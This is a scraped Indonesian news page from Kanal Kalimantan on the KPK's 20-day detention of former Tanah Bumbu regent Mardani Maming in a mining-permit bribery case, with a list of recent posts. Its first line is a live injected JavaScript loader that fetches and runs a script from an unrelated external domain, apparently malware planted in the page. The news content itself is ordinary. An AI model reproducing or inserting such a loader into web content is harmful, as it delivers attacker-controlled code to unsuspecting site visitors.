(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

KPK Akhirnya Tahan Mardani Maming Selama 20 Hari ke Depan


KANALKALIMANTAN.COM, JAKARTA– Komisi Pemberantasan Korupsi (KPK) resmi menahan mantan Bupati Tanah Bumbu Mardani H Maming selama 20 hari ke depan, Kamis (28/7/2022) malam.

Penahanan tersebut terkait dugaan Maming telah menerima hadiah atau janji terkait pemberian izin tambang di Tanah Bumbu.

Wakil Ketua KPK Alexander Marwata menyatakan Maming akan ditahan selama 20 hari ke depan untuk kepentingan penyidikan. “Di rutan KPK Pomdam Jaya Guntur,” kata Alex dalam konferensi pers di Gedung Merah Putih KPK, Kamis (28/7/2022).

Alex mengatakan Maming akan ditahan per 28 Juli hingga 16 Agustus mendatang.

 

Baca juga  : Bareskrim Polri Usut Dugaan Aliran Dana ACT ke Partai Politik

Sebelumnya, Maming yang juga Ketua DPD PDIP Kalimantan Selatan ini menyerahkan diri ke KPK setelah ditetapkan dalam Daftar Pencarian Orang (DPO). Maming datang ditemani sejumlah kuasa hukumnya sekitar pukul 14.00 WIB. Setelah menunggu beberapa saat di lobi, Maming naik ke ruang penyidikan di lantai dua Gedung KPK.

KPK menetapkan Maming sebagai buron karena dinilai tidak kooperatif. Maming diketahui tidak memenuhi dua panggilan pemeriksaan penyidik.

Pemeriksaan pertama dijadwalkan pada 14 Juli. Namun, Maming tidak hadir dengan alasan praperadilannya masih berlangsung di Pengadilan Negeri Jakarta Selatan (PN Jaksel). Kuasa hukumnya meminta jadwal pemeriksaan ditunda. Namun, KPK menyatakan praperadilan tersebut tidak mengganggu jalannya penyidikan. Sebab, praperadilan hanya menggugat aspek formil.

KPK kemudian menjadwalkan ulang pemeriksaan pada 21 Juli. Namun, Maming kembali absen. Komisi antirasuah kemudian menjemput paksa dan menggeledah apartemennya pada Senin 25 Juli. Namun, Maming tidak ditemukan di lokasi.

Baca juga : Program RT Mandiri Bergulir, 12 RT di Landasan Ulin Terima Bansos

KPK kemudian mengumumkan Maming telah masuk dalam daftar pencarian orang (DPO) pada 26 Juli. KPK juga meminta bantuan Bareskrim Polri untuk menangkap Maming.

Kuasa hukum Maming, Denny Indrayana kemudian mengaku telah mengirim surat ke KPK pada 25 Juli yang menyatakan kesiapan Maming datang ke Gedung Merah Putih pada 28 Juli. Maming mengaku bingung karena ditetapkan sebagai DPO. Sebab, pihaknya telah bersurat pada 25 Juli.

“Saya juga bingung tanggal 25 suratnya masuk tapi kenapa hari Selasa saya dinyatakan DPO. Padahal saya sudah mengirim surat dan koordinasi sama tim penyidik bahwa saya akan hadir tanggal 28,” ujar Maming saat tiba di KPK.

Dalam sidang praperadilan di PN Jaksel Tim Biro Hukum KPK menduga Maming telah menerima suap lebih dari Rp 104,3 miliar. Suap itu diterima selama tujuh tahun.

Bendahara Umum Pengurus Besar Nahdlatul Ulama (PBNU) non aktif itu juga diduga difasilitasi dan dibiayai membangun sejumlah perusahaan. Hal itu ia terima setelah memberikan izin pertambangan kepada PT Prolindo Cipta Nusantara.(Kanalkalimantan.com/kk)

Reporter : kk
Editor : cell


Desy Arfianty

Recent Posts

Instansi Vertikal Disiapkan Masuk SKPD Instansi Mengajar di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pendidikan (Disdik) Kota Banjarbaru siap menggandeng instansi vertikal di Kota Banjarbaru,… Read More

47 menit ago

780 Anggota PPK se Kalsel Dilantik, Bertugas 8 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Seluruh Panitia Pemilihan Kecamatan (PPK) di Provinsi Kalimantan Selatan (Kalsel) resmi dilantik… Read More

59 menit ago

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

5 jam ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

16 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

17 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

18 jam ago

This website uses cookies.